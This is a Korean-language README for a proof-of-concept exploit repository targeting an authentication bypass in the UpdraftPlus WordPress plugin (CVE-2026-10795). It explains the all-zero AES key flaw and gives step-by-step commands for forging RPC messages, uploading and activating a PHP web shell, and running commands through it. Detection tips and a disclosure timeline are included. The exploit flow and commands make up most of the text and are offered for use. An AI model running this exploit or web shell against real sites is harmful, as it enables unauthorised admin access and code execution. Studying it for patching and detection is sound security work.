
CVE-2026-10795 – UpdraftPlus 인증 우회
CVE-2026-10795 – UpdraftPlus 인증 우회
⚠️ 면책 조항: 이 저장소는 교육 목적으로만 제공됩니다.
본인 소유이거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오.
저자는 오용에 대해 책임을 지지 않습니다.
| 필드 | 세부 정보 |
|---|
| 플러그인 | UpdraftPlus: WP 백업 및 마이그레이션 |
| 영향 받는 버전 | ≤ 1.26.4 |
| 패치된 버전 | 1.26.5 |
| CVSS 점수 | 8.1 (높음) |
| 취약점 유형 | 인증되지 않은 인증 우회 → 원격 코드 실행 |
| 발견자 | vtim (Wordfence 버그 바운티) |
| 바운티 | $5,200 |
UpdraftPlus는 UpdraftCentral에 연결된 사이트에서 모든 페이지 로드 시 인증되지 않은 RPC 리스너를 등록합니다.
decrypt_message() 함수는 $rsa->decrypt()의 반환 값을 검증하지 못합니다.
RSA 복호화가 실패하면 false가 Rijndael::setKey()에 전달되어 결정적인 all-zero AES-128 키로 축소됩니다.
공격자는 다음을 수행할 수 있습니다:
udrpc_message 위조// updraftplus/includes/class-remote-communications-v2.php
// 460-491행 (버전 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ 반환 값 검사 누락!
$rij->setKey($sym_key); // false → all-zero 키
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ 1.26.5에서 추가됨
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # 주요 익스플로잇 스크립트
├── requirements.txt # Python 종속성
├── payloads/
│ ├── list_plugins.py # 설치된 플러그인 목록
│ ├── upload_shell.py # 웹쉘 플러그인 업로드
│ └── activate_plugin.py # 업로드된 플러그인 활성화
├── shell/
│ ├── build_shell.py # 웹쉘 ZIP 생성
│ └── test-shell.php # 최소 PHP 웹쉘
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
시작: Apache + MySQL
# WordPress를 htdocs에 배치
C:/xampp/htdocs/wordpress/
# 취약한 플러그인 버전 설치
# 다운로드: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress 관리자 → 설정 → UpdraftPlus → UpdraftCentral 탭 → 연결
⚠️ 필수: 취약점을 악용하려면 사이트가 UpdraftCentral에 연결되어 있어야 합니다.
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# 1단계: 쉘 ZIP 생성
python shell/build_shell.py
# 2단계: 업로드
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# 3단계: 활성화
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# 4단계: RCE 테스트
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. 잘못된 RSA 암호화 sym_key 생성 (가비지 바이트)
│
├─ 2. RPC 페이로드를 ZERO AES-128 키(0x00 * 16)로 암호화
│
├─ 3. udrpc_message 구성:
│ [3바이트 16진수 길이][가짜 sym_key][16바이트 16진수 암호문 길이][암호문]
│
├─ 4. 대상에 POST 전송 (인증, 논스, 쿠키 불필요)
│
└─ 5. 서버 측:
rsa->decrypt(가비지) → false
setKey(false) → 0x00 키
decrypt(암호문) → 우리 페이로드 ✅
wp_set_current_user() → 관리자 접근
RPC 명령 실행 → RCE 💀
UpdraftPlus를 즉시 버전 1.26.5로 업데이트하세요.
# udrpc_message가 포함된 의심스러운 POST 요청 찾기
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence 사용자는 2026년 6월 3일부터 보호됨
- 예상치 못한 플러그인 설치
- wp-content/plugins/에 새로운 PHP 파일
- udrpc_message 매개변수가 포함된 WordPress 루트로의 POST 요청
- WordPress 로그에서 예상치 못한 관리자 수준 작업
| 날짜 | 이벤트 |
|---|---|
| 2026년 6월 1일 | Wordfence 버그 바운티를 통해 취약점 제출 |
| 2026년 6월 3일 | 검증 및 공급업체에 공개 |
| 2026년 6월 3일 | Wordfence Premium 방화벽 규칙 배포 |
| 2026년 6월 4일 | 공급업체 접수 |
| 2026년 6월 5일 | 패치 출시 (v1.26.5) |
| 2026년 7월 3일 | Wordfence Free 보호 활성화 |
MIT 라이선스 – 교육 목적으로만 사용 가능.
소유하지 않은 시스템에 대한 무단 사용은 불법입니다.